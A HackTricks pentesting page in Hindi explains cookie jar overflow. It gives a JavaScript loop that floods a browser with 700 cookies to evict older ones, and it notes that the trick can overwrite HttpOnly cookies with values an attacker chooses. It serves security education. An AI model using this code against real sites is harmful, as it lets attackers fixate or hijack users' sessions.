hacktricks/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md

4.3 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

ब्राउज़रों में एक सीमित संख्या में कुकीज़ होती हैं जो वे एक पृष्ठ के लिए स्टोर कर सकते हैं। फिर, यदि किसी कारणवश आपको कुकी को गायब करना है, तो आप कुकी जार को ओवरफ्लो कर सकते हैं क्योंकि सबसे पुरानी कुकीज़ पहले हटा दी जाएंगी:

// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

ध्यान दें, कि तीसरे पक्ष के कुकीज़ जो एक अलग डोमेन की ओर इशारा करते हैं, उन्हें अधिलेखित नहीं किया जाएगा।

{% hint style="danger" %} यह हमला HttpOnly कुकीज़ को अधिलेखित करने के लिए भी उपयोग किया जा सकता है क्योंकि आप इसे हटा सकते हैं और फिर इसे उस मान के साथ रीसेट कर सकते हैं जो आप चाहते हैं

इसे इस पोस्ट में एक प्रयोगशाला के साथ जांचें। {% endhint %}

{% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें
{% endhint %}